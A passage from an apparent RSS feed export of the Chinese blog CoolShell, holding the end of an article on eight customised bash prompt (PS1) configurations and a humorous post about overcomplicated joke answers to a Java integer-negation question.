0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=&#8221;\\<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">if [ \\$? = 0 ]; then echo \\[\\e[33m\\]^_^\\[\\e[0m\\]; else echo \\[\\e[31m\\]O_O\\[\\e[0m\\]; fi\\</code>[\\u@\\h:\\w]\\\\$ &#8220;</p>\n<h3><strong>2.更改失败命令的颜色</strong></h3>\n<p><span style=\"color: #000000;\">下面这个命令行提示是我最喜欢的命令行之一。和上一个相似，这个命令行提示的颜色会在你最后一个命令运行失败后改变，而且这个命令行长路径会缩短输入命令的空间，这个命令提示还包含了bash 每个历史命令的命令号，以方便重新提取运行。</span></p>\n<p><span style=\"color: #000000;\">例子：</span></p>\n<p style=\"text-align: center;\"><span style=\"color: #000000;\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-hurring.jpg\" alt=\"bashprompts-hurring\" /></span></p>\n<p><span style=\"color: #000000;\">代码：</span></p>\n<p><span style=\"color: #000000;\">PS1=&#8221;\\[\\033[0;33m\\][\\!]\\<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">if [[ \\$? = &quot;0&quot; ]]; then echo &quot;\\\\[\\\\033[32m\\\\]&quot;; else echo &quot;\\\\[\\\\033[31m\\\\]&quot;; fi\\</code>[\\u.\\h: \\<code data-enlighter-language=\"pwd\" class=\"EnlighterJSRAW\">if [[ </code>|wc -c|tr -d &#8221; &#8220;<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"> &gt; 18 ]]; then echo &quot;\\\\W&quot;; else echo &quot;\\\\w&quot;; fi\\</code>]\\$\\[\\033[0m\\] &#8220;; echo -ne &#8220;\\033]0;<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">hostname -s</code>:<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">pwd</code>\\007&#8243;&#8216;</span></p>\n<h3 style=\"padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 18px; font-weight: 700; color: #333333; margin: 0px;\">3. 多行提示</h3>\n<p>如果你是喜欢命令行提示中包含完整信息的那一类人，那么下边就有一个适合于你的命令行提示。这个命令行提示信息中包含日期/时间，全路径，用户，主机，活动终端，甚至包含文件数和占用空间等。</p>\n<p>例子：</p>\n<p style=\"TEXT-ALIGN: center\"><br style=\"padding: 0px; margin: 0px;\" /><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" style=\"margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; display: block; padding: 0px; border: thin solid #999999;\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-informant.jpg\" alt=\"bashprompts-informant\" width=\"392\" height=\"162\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PROMPT_COMMAND=&#8217;PS1=&#8221;\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed -e &#8216;s:/dev/::&#8217;): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed &#8216;s: ::g&#8217;) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed &#8216;s/total //&#8217;)b\\[\\033[0m\\] -&gt; \\[\\033[0m\\]&#8221;&#8216;</p>\n<p><span style=\"font-family: 'Lucida Grande'; line-height: normal;\"> </span></p>\n<h3 style=\"padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 18px; font-weight: 700; color: #333333; margin: 0px;\">4. 多颜色提示</h3>\n<p>这个命令行提示除了使用了不同颜色来区别不同信息外，它并没有很特别的地方。就像你看到的那样，它提供了时间，用户名，主机名，当前目录。相当少的信息，但是非常地实用。</p>\n<p>例子：</p>\n<p style=\"TEXT-ALIGN: center; PADDING-BOTTOM: 2px; LINE-HEIGHT: 20px; MARGIN: 0px 0px 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 2px\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6808  aligncenter\" style=\"margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; display: block; padding: 0px; border: thin solid #999999;\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-4.jpg\" alt=\"bashprompts-4\" width=\"333\" height=\"69\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\">代码：</span></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\">PS1=&#8221;\\[\\033[35m\\]\\t\\[\\033[m\\]-\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ &#8220;</span></p>\n<p><span style=\"font-family: 'Lucida Grande'; line-height: normal;\"> </span></p>\n<h3 style=\"padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 18px; font-weight: 700; color: #333333; margin: 0px;\">5.显示完整路径</h3>\n<p>这是一个良好，简洁，最小的2行提示(加上顶上的空行)。在第一行你能得到一个全路径信息，在第二行是一个用户名。如果你对每个命令提示行的空行不爽的话，你只要移走第一个\\n就OK了</p>\n<p>例子：</p>\n<p style=\"TEXT-ALIGN: center\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6818    aligncenter\" style=\"margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; display: block; padding: 0px; border: thin solid #999999;\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-5.jpg\" alt=\"bashprompts-5\" width=\"231\" height=\"126\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\">PS1=&#8221;[\\[\\033[32m\\]\\w]\\[\\033[0m\\]\\n\\[\\033[1;36m\\]\\u\\[\\033[1;33m\\]-&gt; \\[\\033[0m\\]&#8221;</span></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\"> </span></p>\n<h3>6. 显示后台运行任务数</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">这是另外的一个两行提示，但是这个两行提示具有更多的之前我们没有的信息。第一行是显示通常的user@host和全路径等信息。在第二行我们可以得到命令执行历史序号和一个后台运行任务个数信息。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"> </p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img decoding=\"async\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-61.jpg\" alt=\"bashprompts-6\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=&#8217;\\[\\e[1;32m\\]\\u@\\H:\\[\\e[m\\] \\[\\e[1;37m\\]\\w\\[\\e[m\\]\\n\\[\\e[1;33m\\]hist:\\! \\[\\e[0;33m\\] \\[\\e[1;31m\\]jobs:\\j \\$\\[\\e[m\\] &#8216;</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"> </p>\n<h3>7. 显示路径信息</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">这是一个非常眩的设计。我们可以从这个命令行提示信息的第一行中获取到用户/主机，运行任务数，和时间日期等信息。在第二行我们可以得到当前目录的文件数和他们占用的磁盘空间。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"> </p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-7.jpg\" alt=\"bashprompts-7\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码:</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=&#8221;\\n\\[\\e[30;1m\\]\\[\\016\\]l\\[\\017\\](\\[\\e[34;1m\\]\\u@\\h\\[\\e[30;1m\\])-(\\[\\e[34;1m\\]\\j\\[\\e[30;1m\\])-(\\[\\e[34;1m\\]\\@ \\d\\[\\e[30;1m\\])-&gt;\\[\\e[30;1m\\]\\n\\[\\016\\]m\\[\\017\\]-(\\[\\[\\e[32;1m\\]\\w\\[\\e[30;1m\\])-(\\[\\e[32;1m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed &#8216;s: ::g&#8217;) files, \\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed &#8216;s/total //&#8217;)b\\[\\e[30;1m\\])&#8211;&gt; \\[\\e[0m\\]&#8221;</p>\n<h3>8. My Prompt</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">最后这个命令提示行是我个人最喜欢的使用的命令提示行。它是#7的一个修改，这个命令提示行只包含我最希望知道的信息，因此节省了它的占用空间。我偏爱两行风格，因为这样不仅可以让我看到全路径信息，而且不影响我命令输入的可视空间。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子:</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-8.jpg\" alt=\"bashprompts-8\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码:</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=&#8221;\\n\\[\\e[32;1m\\](\\[\\e[37;1m\\]\\u\\[\\e[32;1m\\])-(\\[\\e[37;1m\\]jobs:\\j\\[\\e[32;1m\\])-(\\[\\e[37;1m\\]\\w\\[\\e[32;1m\\])\\n(\\[\\[\\e[37;1m\\]! \\!\\[\\e[32;1m\\])-&gt; \\[\\e[0m\\]&#8221;</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">如果你愿意共享你的命令提示行，请在将这些命令提示代码加在下面的评论中。</p>\n<div id=\"_mcePaste\" style=\"position: absolute; overflow-x: hidden; overflow-y: hidden; width: 1px; height: 1px; top: 765px; left: -10000px;\">\n<p>PS1=&#8221;\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed</p>\n<p>-e &#8216;s:/dev/::&#8217;): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed &#8216;s: ::g&#8217;) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed &#8216;s/total //&#8217;)b\\[\\033[0m\\] -&gt; \\[\\033[0m\\]&#8221;</p>\n</div>\n<p><a title=\"原文出处\" href=\"http://maketecheasier.com/8-useful-and-interesting-bash-prompts/2009/09/04\" target=\"_blank\"> 出处</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"用脚本实现哄宝宝睡觉(Demo)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_title\">用脚本实现哄宝宝睡觉(Demo)</a></li><li ><a href=\"https://coolshell.cn/articles/1824.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"C语言和sh脚本的杂交代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1824.html\" class=\"wp_rp_title\">C语言和sh脚本的杂交代码</a></li><li ><a href=\"https://coolshell.cn/articles/1574.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"bash 函数级重定向\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1574.html\" class=\"wp_rp_title\">bash 函数级重定向</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1399.html\">8个实用而有趣Bash命令提示行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1399.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程真难啊</title>\n\t\t<link>https://coolshell.cn/articles/1391.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1391.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 03 Sep 2009 14:24:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1391</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>上周，在Sun的Java论坛上出现了一个这样的帖子，这个贴子的链接如下： http://forums.sun.com/thread.jspa?threadID=...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1391.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>上周，在Sun的Java论坛上出现了一个这样的帖子，这个贴子的链接如下：<br />\n<a href=\"http://forums.sun.com/thread.jspa?threadID=5404590&amp;start=0&amp;tstart=0\" target=\"_blank\">http://forums.sun.com/thread.jspa?threadID=5404590&amp;start=0&amp;tstart=0</a></p>\n<p>LZ的贴子翻译如下：</p>\n<blockquote><p>大家好，我是一个Java的新手，我有一个简单的问题：请问我怎么才能反转一个整数的符号啊。比如把-12转成+12。是的，毫无疑问这是个简单的问题，但我弄了一整天我也找不到什么好的方法。非常感谢如果你能告诉我Java有什么方法可以做到这个事，或者告诉我一个正确的方向——比如使用一些数学库或是二进制方法什么的。谢谢！</p></blockquote>\n<p>这个贴子的沙发给出了答案：</p>\n<p><span id=\"more-1391\"></span></p>\n<p style=\"PADDING-LEFT: 30px\">n = -n;</p>\n<p>LZ在四楼回复到：</p>\n<blockquote><p>我知道是个很简单的事，可我没有想到居然这么简单，我觉得你可能是对的。谢谢你。</p></blockquote>\n<p>过了一会，又回复到：</p>\n<blockquote><p>不开玩笑地说，我试了，真的没有问题耶！</p></blockquote>\n<p>看到这样的贴子，就能想到国内论坛上很多这样的“问弱智问题的贴子”，结果可能都会是比较惨！是的，国外的互联网文化和国内差不多，都是恶搞的人多于热心的人，呵呵。<strong>不过，国外的网民们有一点是好的，再恶搞也是就事搞事，不会有侮辱人的语言，这点真是值国内的人学习</strong>。</p>\n<p>这本是一个平淡无奇的贴子，不过回复中那些恶搞的“解决方案”太强大了，在这里例举一下吧。</p>\n<p>贴子的板凳给出了这样的答案（这是恶搞的开始）</p>\n<p> </p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nint x = numberToInvertSign;\nboolean pos = x &gt; 0;\nfor(int i = 0; i &lt; 2*Math.abs(x); i++){\n    if(pos){\n        numberToInvertSign--;\n    }\n    else{\n        numberToInvertSign++;\n    }\n}\n</pre>\n<p>然后，有人说，n = -n 可以是可以，但不够晦涩，于是一个晦涩的解决方案出现了：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nint n = ....;\n n = (0xffffffff ^ n) + 1;\n</pre>\n<p>然后，又出现了一些看似简单，其实是比较晦涩的方案</p>\n<p><code><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">n = ~n + 1; </code></p>\n<p> </p>\n<p></code><code><code><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">n = ~--n; </code></p>\n<p> </p>\n<p></code></code><code><code>继续，有才的人从来就不少：</code></code></p>\n<p><code><code></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nn^= 0xffffffff;\nint m;\nfor (m= 1; m != 0 &amp;&amp; ((n&amp;m) != 0); m&lt;&lt;= 1);\nn|= m;\nif (m == 0) n= m;\nelse for (m &gt;&gt;= 1; m != 0; n^= m, m&gt;&gt;=1);\n</pre>\n<p> </p>\n<p></code></code><code><code>呵呵，开始越来越强大了，我以前也向大家介绍过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/933.html\">如何加密/弄乱C源代码</a>》的文章，和这些恶搞的人可能有点相似吧。上面这个例子一出，大家都在讨论上面例子中的for循环语句，呵呵，很费解啊。</code></code></p>\n<p><code><code>然后，后面几个就开始乱来了：</code></code></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public int invert(int i) {\n  return i - (i + i);\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">switch (i)\n{\n  case 1: return -1;\n  case 2: return -2;\n  case 3: return -3;\n  // ... etc, you get the proper pattern\n}</pre>\n<p>不过事情还没有结束，看看下面这个吧，OMG。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">int absoluteValue(int num)\n{\n int max = 0;\n for(int i = 0; true; ++i)\n {\n  max = i &gt; max ? i : max;\n  if(i == num)\n  {\n   if(i &gt;= max)\n    return i;\n   return -i;\n  }\n }\n}</pre>\n<p> 还有用字符串的解决方案：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public int invert(int n) {\n    String nStr = String.valueOf(n);\n \n    if (nStr.startsWith(&quot;-&quot;)) {\n        nStr = nStr.replace(&quot;-&quot;, &quot;&quot;);\n    } else {\n        nStr = &quot;-&quot; + nStr;\n    }\n \n    return Integer.parseInt(nStr);\n}</pre>\n<p>别忘了面象对象，有最新Java支持的模板库： </p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public interface Negatable&lt;T extends Number&gt; {\n  T value();\n  T negate();\n}\n \n \n \npublic abstract class NegatableInteger implements Negatable&lt;Integer&gt; {\n  private final int value;\n \n  protected NegatableInteger(int value) {\n    this.value = value;\n  }\n \n  public static NegatableInteger createNegatableInteger(int value) {\n    if (value &gt; 0) {\n      return new NegatablePositiveInteger(value);\n    }\n    else if (value == Integer.MIN_VALUE) {\n      throw new IllegalArgumentException(&quot;cannot negate &quot; + value);\n    }\n    else if (value &lt; 0) {\n      return new NegatableNegativeInteger(value);\n    }\n    else {\n      return new NegatableZeroInteger(value);\n    }\n  }\n \n  public Integer value() {\n    return value;\n  }\n \n  public Integer negate() {\n    String negatedString = negateValueAsString ();\n    Integer negatedInteger = Integer.parseInt(negatedString);\n    return negatedInteger;\n  }\n \n  protected abstract String negateValueAsString ();\n}\n \n \n \npublic class NegatablePositiveInteger extends NegatableInteger {\n  public NegatablePositiveInteger(int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    String valueAsString = String.valueOf (value());\n    return &quot;-&quot; + valueAsString;\n  }\n}\n \n \n \npublic class NegatableNegativeInteger extends NegatableInteger {\n  public NegatableNegativeInteger (int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    String valueAsString = String.valueOf (value());\n    return valueAsString.substring(1);\n  }\n}\n \n \n \npublic class NegatableZeroInteger extends NegatableInteger {\n  public NegatableZeroInteger (int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    return String.valueOf (value());\n  }\n}</pre>\n<p> </p>\n<p>这个贴子基本上就是两页，好像不算太严重，如果你这样想的话，你就大错特错了。这个贴子被人转到了reddit.com，于是一发不可收拾，在上面的回贴达到了490多条。链接如下：</p>\n<p><a href=\"http://www.reddit.com/r/programming/comments/9egb6/programming_is_hard/\" target=\"_blank\">http://www.reddit.com/r/programming/comments/9egb6/programming_is_hard/</a></p>\n<p>有人说，要用try catch；有人说要使用XML配置文件……，程序员们在追逐更为变态和疯狂的东西，并从中找到快乐，呵呵。</p>\n<p>看完后，正如reddit.com所说——“<strong>编程好难啊</strong>”！</p>\n<p>无独有偶，这并不是第一次，也不会是最后一次，让我们看看在PHP的官网上发生的类似的一幕——讨论PHP的abs取绝对值函数的函数说明文档中的回复：</p>\n<p><a href=\"http://us.php.net/manual/en/function.abs.php#58508\" target=\"_blank\">http://us.php.net/manual/en/function.abs.php#58508</a></p>\n<p>又是一个长贴，还带着很多性能分析，真的很好很强大！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a 